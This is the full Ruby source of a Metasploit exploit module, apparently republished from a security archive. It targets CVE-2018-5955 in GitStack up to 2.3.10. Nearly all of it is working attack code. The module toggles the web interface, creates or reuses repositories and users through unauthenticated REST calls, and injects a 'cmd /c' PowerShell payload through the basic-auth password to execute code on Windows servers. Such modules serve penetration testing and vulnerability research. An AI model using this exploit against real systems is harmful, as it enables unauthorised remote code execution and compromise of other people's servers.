This Metasploit module exploits a remote code execution vulnerability that exists in GitStack versions through 2.3.10, caused by an unsanitized argument being passed to an exec function call. This Metasploit module has been tested on GitStack version 2.3.10.
49755cb9eaacfa1dd03551ad9d5a3b70
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => 'GitStack Unsanitized Argument RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in GitStack through v2.3.10, caused by an unsanitized argument
being passed to an exec function call. This module has been tested
on GitStack v2.3.10.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit module
],
'References' =>
[
['CVE', '2018-5955'],
['EDB', '43777'],
['EDB', '44044'],
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Targets' => [['Automatic', {}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 15 2018',
'DefaultTarget' => 0))
end
def check_web
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
if res.body =~ /true/
vprint_good('Web interface is enabled')
return true
else
vprint_error('Web interface is disabled')
return false
end
else
print_error('Unable to determine status of web interface')
return nil
end
end
def check_repos
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'GET',
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
mylist = res.get_json_document
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
return nil
end
if mylist.length == 0
vprint_error('No repositories found')
return false
else
vprint_good('Repositories found')
return mylist
end
else
print_error('Unable to determine available repositories')
return nil
end
end
def update_web(web)
data = {'enabled' => web}
begin
res = send_request_cgi({
'uri' => '/rest/settings/general/webinterface/',
'method' => 'PUT',
'data' => data.to_json
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
end
end
def create_repo
repo = Rex::Text.rand_text_alpha(5)
c_token = Rex::Text.rand_text_alpha(5)
begin
res = send_request_cgi({
'uri' => '/rest/repository/',
'method' => 'POST',
'cookie' => "csrftoken=#{c_token}",
'vars_post' => {
'name' => repo,
'csrfmiddlewaretoken' => c_token
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
return repo
else
print_status('Unable to create repository')
return nil
end
end
def delete_repo(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Failed to delete repository')
end
end
def create_user
user = Rex::Text.rand_text_alpha(5)
pass = user
begin
res = send_request_cgi({
'uri' => '/rest/user/',
'method' => 'POST',
'vars_post' => {
'username' => user,
'password' => pass
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("Created user: #{user}")
return user
else
print_error("Failed to create user")
return nil
end
end
def delete_user(user)
begin
res = send_request_cgi({
'uri' => "/rest/user/#{user}/",
'method' => 'DELETE'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Delete user unsuccessful')
end
end
def mod_user(repo, user, method)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/#{user}/",
'method' => method
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
vprint_good("#{res.body}")
else
print_status('Unable to add/remove user from repo')
end
end
def repo_users(repo)
begin
res = send_request_cgi({
'uri' => "/rest/repository/#{repo}/user/",
'method' => 'GET'
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
if res && res.code == 200
begin
users = res.get_json_document
users -= ['everyone']
rescue JSON::ParserError => e
print_error("Failed: #{e.class} - #{e.message}")
users = nil
end
else
return nil
end
return users
end
def run_exploit(repo, user, cmd)
begin
res = send_request_cgi({
'uri' => '/web/index.php',
'method' => 'GET',
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
'vars_get' => {
'p' => "#{repo}.git",
'a' => 'summary'
}
})
rescue Rex::ConnectionError, Errno::ECONNRESET => e
print_error("Failed: #{e.class} - #{e.message}")
end
end
def exploit
command = cmd_psh_payload(
payload.encoded,
payload_instance.arch.first,
{ :remove_comspec => true, :encode_final_payload => true }
)
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
web = check_web
repos = check_repos
if web.nil? || repos.nil?
return
end
unless web
update_web(!web)
# Wait for interface
sleep 8
end
if repos
pwn_repo = repos[0]['name']
else
pwn_repo = create_repo
end
r_users = repo_users(pwn_repo)
if r_users.present?
pwn_user = r_users[0]
run_exploit(pwn_repo, pwn_user, command)
else
pwn_user = create_user
if pwn_user
mod_user(pwn_repo, pwn_user, 'POST')
run_exploit(pwn_repo, pwn_user, command)
mod_user(pwn_repo, pwn_user, 'DELETE')
delete_user(pwn_user)
end
end
unless web
update_web(web)
end
unless repos
delete_repo(pwn_repo)
end
end
end